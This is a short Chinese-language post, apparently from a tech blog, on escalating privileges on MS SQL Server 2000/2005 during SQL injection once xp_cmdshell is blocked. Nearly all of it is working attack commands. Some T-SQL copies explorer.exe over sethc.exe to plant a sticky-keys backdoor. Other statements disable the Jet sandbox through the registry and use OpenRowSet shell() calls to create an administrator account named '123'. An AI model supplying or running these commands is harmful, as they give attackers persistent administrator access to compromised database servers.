MsSql 提权xp_cmdshell失败后的两种方法

微软ms sql 2000/2005 注入时exec xp_cmdshell 调用 'CreateProcess' 失败,错误代码: '5'两种解决办法:

================================================

原因不说了,一般都是cmd.exe被限制权限了,system用户没有权限。解决方法2种:

1、替换shift文件(在开启3389情况下)

‍下面两条语句为分别执行的。

这条语句将explorer.exe复制为sethc.exe

declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

这条语句将sethc.exe复制到dllcache目录下

declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';

另外这两条语句使用到的sp_oacreate存储过程需要使用到odsole70.dll这个文件,所以这个文件的存亡,关系到创建的成功与否。

 


2、直接开启acess的沙盘(沙盒),来执行命令:



‍EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0


Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")');


Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');

你可能感兴趣的:(数据库,MSSQL,职场,休闲,xp_cmdshell)